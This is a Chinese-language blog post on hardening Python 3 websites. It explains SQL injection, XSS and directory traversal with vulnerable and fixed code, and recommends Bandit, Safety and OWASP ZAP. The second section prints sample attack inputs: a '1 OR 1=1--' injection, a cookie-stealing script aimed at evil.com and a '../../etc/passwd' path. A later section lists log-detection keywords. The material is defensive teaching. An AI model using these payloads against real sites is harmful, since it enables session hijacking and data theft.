用PYTHON3做网站别裸奔,3招免费工具防黑客
域名备案卡住?服务器配置一团乱?很多甲方拿着“用PYTHON3做网站”的需求找过来,第一句话就是:“服务器到底怎么买才不亏?”别急,先别管买哪家,先问自己:你的代码里有没有后门?
用PYTHON3做网站,后端灵活是优点,但也是软肋。Django、Flask 写起来爽,可一旦疏忽,SQL注入、XSS、目录遍历全是家常便饭。我见过太多案例,网站刚上线三天,后台密码就被扫库了,原因不是服务器弱,而是代码里留了“天坑”。
今天不聊虚的,直接拆解用PYTHON3做网站最常见的5类高危漏洞,给你一套可落地的免费工具防护方案。别等被黑才后悔,这些坑,咱们提前填上。
一、 真实威胁场景:你的网站正在被“裸奔”扫描
去年有个做外贸站的客户,用 Django 写的后台,前端 Vue,后端 Flask 接口。上线第一周,后台登录页突然多了个“测试账号”,密码是空字符串。他慌了,以为我给他留了后门。
我一看日志,心凉了半截。不是后门,是目录遍历漏洞。他的静态文件服务没做权限校验,/static/ 路径下的 .env 文件(里面存着数据库密码、密钥)被直接下载了。黑客没费劲爆破,直接拿密码进了后台,改了几个产品页,塞了条博彩链接。
更吓人的是,同一周,他的 API 接口 /api/user/<id>/ 被扫描了 2000 多次。攻击者在试 id=1 OR 1=1--,典型的 SQL注入 预扫描。虽然他的 ORM 挡住了大部分,但有一个手动拼接的查询没防住,泄露了 3 个管理员的手机号。
这不是个例。 根据阿里云官方文档的安全白皮书统计,Python 框架因动态语言特性,注入类漏洞占比高达 42%,远高于 Java/Go。原因很简单:Python 代码简洁,开发者容易图省事,直接拼接字符串,忽略了转义。
用PYTHON3做网站,如果你还在用 request.GET['id'] 直接拼进 SQL,或者把用户输入直接渲染进 HTML,那你就是在给黑客递钥匙。
二、 漏洞原理深扒:为什么 Python 容易“中招”
很多甲方觉得:“我用的是 Django,自带 ORM,应该安全吧?” 错。ORM 是双刃剑,用得好是盾,用不好是门。
1. SQL 注入:ORM 不是万能药
Django 的 ORM 确实能自动转义,但以下场景会失效:
- 使用
raw()或extra()执行原生 SQL。 - 使用
filter(**kwargs)时,kwargs 的键或值来自用户输入。 - 手动拼接
cursor.execute()。
错误示例:
# 危险!用户可控的 user_id 直接拼接
sql = f"SELECT * FROM users WHERE id = {user_id}"
cursor.execute(sql)
攻击载荷: user_id = 1 OR 1=1--
结果:SELECT * FROM users WHERE id = 1 OR 1=1-- → 返回所有用户数据。
2. XSS 跨站脚本:模板引擎的“疏忽”
Django/Flask 的模板引擎默认转义 HTML,但如果你用了 |safe 或 Markup(),就等于告诉引擎:“别管了,我信用户”。
错误示例:
# Flask 中,如果 comment 来自用户输入
return render_template_string(f"<div>{comment}</div>")
攻击载荷: comment = <script>document.location='http://evil.com'?c='+document.cookie
结果:用户 cookie 被窃取,会话劫持。
3. 目录遍历:路径拼接的“陷阱”
读取文件时,如果直接用用户输入拼接路径,攻击者可以传 ../../etc/passwd。
错误示例:
file_path = os.path.join('/static/', user_input)
open(file_path, 'r')
攻击载荷: user_input = ../../etc/passwd
结果:读取系统敏感文件。
三、 防护方案:免费工具 + 代码加固
别花大钱买 WAF,先用好这些免费工具,再改代码。
1. 工具推荐:Python 安全审计套件
| 工具名 | 用途 | 安装命令 | 特点 |
|---|---|---|---|
| Bandit | 静态代码分析 | pip install bandit |
检查硬编码密钥、危险函数调用 |
| Safety | 依赖漏洞扫描 | pip install safety |
检查 pip 包是否有已知 CVE |
| OWASP ZAP | 动态漏洞扫描 | 官网下载 | 模拟黑客攻击,发现运行时漏洞 |
| Django-Debug-Toolbar | 开发环境调试 | pip install django-debug-toolbar |
显示 SQL 查询,防止 N+1 问题 |
实操步骤:
- 在项目根目录运行
bandit -r .,修复所有 HIGH 级别警告。 - 运行
safety check,更新所有有漏洞的依赖包。 - 上线前,用 OWASP ZAP 对测试环境进行被动扫描,重点关注 SQLi 和 XSS。
2. 代码加固:漏洞对比修复
SQL 注入修复
❌ 错误写法:
# 危险!手动拼接
sql = f"SELECT * FROM orders WHERE user_id = {user_id}"
cursor.execute(sql)
✅ 正确写法:
# 安全!使用参数化查询
sql = "SELECT * FROM orders WHERE user_id = %s"
cursor.execute(sql, (user_id,))
关键点: 永远不要信任用户输入,永远使用参数化查询。Django ORM 中,使用 Model.objects.get(id=user_id) 是安全的,但 Model.objects.filter(id__in=user_list) 如果 user_list 来自不可信源,仍需校验类型。
XSS 修复
❌ 错误写法:
# 危险!使用 |safe 绕过转义
{% comment %} 在模板中 {% endcomment %}
<div>{{ user_comment|safe }}</div>
✅ 正确写法:
# 安全!默认转义,或手动转义
{% comment %} 在模板中 {% endcomment %}
<div>{{ user_comment }}</div># 如果必须渲染 HTML,使用 django.utils.html.escape
import django.utils.html
escaped_comment = django.utils.html.escape(user_comment)
return f"<div>{escaped_comment}</div>"
关键点: 除非你完全控制输入内容(如静态 HTML 片段),否则永远不要使用 |safe。对于用户生成内容(UGC),必须进行 HTML 实体编码。
目录遍历修复
❌ 错误写法:
# 危险!直接拼接路径
file_path = os.path.join('/static/', user_input)
with open(file_path, 'r') as f:content = f.read()
✅ 正确写法:
import os# 安全!规范化路径并校验前缀
base_dir = os.path.realpath('/static/')
file_path = os.path.realpath(os.path.join(base_dir, user_input))# 确保最终路径仍在 base_dir 下
if not file_path.startswith(base_dir + os.sep):raise ValueError("非法文件路径")with open(file_path, 'r') as f:content = f.read()
关键点: 使用 os.path.realpath() 解析符号链接和相对路径,然后校验最终路径是否在允许的基础目录下。这是防止 ../ 遍历的核心。
四、 检测与修复:上线前的“安检”流程
很多甲方觉得:“我代码改了,应该没问题了。” 错。安全是持续过程,不是一次性任务。
1. 自动化扫描流程
- CI/CD 集成: 在 GitLab/GitHub Actions 中,每次提交代码都运行
bandit和safety。如果检查失败,禁止合并。 - 预发布环境测试: 在 staging 环境部署后,运行 OWASP ZAP 的“Active Scan”模式。重点关注:
- SQL 注入测试
- XSS 测试
- 目录遍历测试
- 身份认证绕过测试
- 日志监控: 部署 ELK 或阿里云日志服务,监控以下关键词:
SELECT.*FROM.*WHERE<script>../UNIONDROP TABLE
2. 应急响应预案
如果网站被黑,不要慌,按以下步骤操作:
- 隔离: 立即将网站从负载均衡中摘除,防止进一步扩散。
- 取证: 保留服务器快照、日志、数据库备份。不要重启服务器,以免丢失内存中的恶意进程。
- 溯源: 分析日志,确定攻击入口。是 SQL 注入?还是弱密码爆破?
- 修复: 修复漏洞,更新依赖包,重置所有密码(包括数据库、API Key、SSH 密钥)。
- 恢复: 从干净备份恢复数据,重新部署,经过安全扫描后再上线。
- 复盘: 编写事故报告,总结漏洞成因、检测缺失、响应延迟,制定改进措施。
关键点: 没有备份的网站,就是裸奔的网站。每日增量备份,每周全量备份,异地存储,这是底线。
五、 安全加固清单:甲方必看的 10 条军规
最后,给你一份用PYTHON3做网站的安全加固清单,打印出来,贴在程序员工位上:
- 依赖管理: 使用
pip-tools或poetry锁定依赖版本,定期运行safety check。 - 环境隔离: 开发、测试、生产环境严格分离,生产环境禁止开启
DEBUG=True。 - 密钥管理: 永远不要将密钥、密码硬编码在代码中。使用环境变量或密钥管理服务(如阿里云 KMS)。
- 输入验证: 对所有用户输入进行类型、长度、格式校验。使用白名单策略,而非黑名单。
- 输出编码: 根据上下文选择合适的编码方式(HTML、JS、CSS、URL)。
- 最小权限原则: 数据库用户只授予必要的权限。Web 服务器运行用户不要是 root。
- HTTPS 强制: 全站启用 HTTPS,使用 HSTS 头,禁止 HTTP 降级。
- CORS 配置: 严格限制跨域请求来源,不要使用
Access-Control-Allow-Origin: *。 - 速率限制: 对登录、注册、API 接口实施速率限制,防止暴力破解和 DoS 攻击。
- 定期审计: 每季度进行一次第三方安全渗透测试,使用免费工具进行日常扫描。
用PYTHON3做网站,安全不是成本,是投资。一次数据泄露的损失,足以让你亏掉三年的利润。别等黑客敲门,提前把门焊死。
免费工具 不是免费的午餐,但它是你最好的第一道防线。结合代码加固,你的网站就能从“裸奔”变成“装甲车”。
还有什么建站疑问?评论区留言挨个回。特别是那些正在纠结“域名服务器搞不懂”的朋友,把具体场景抛出来,我帮你拆解。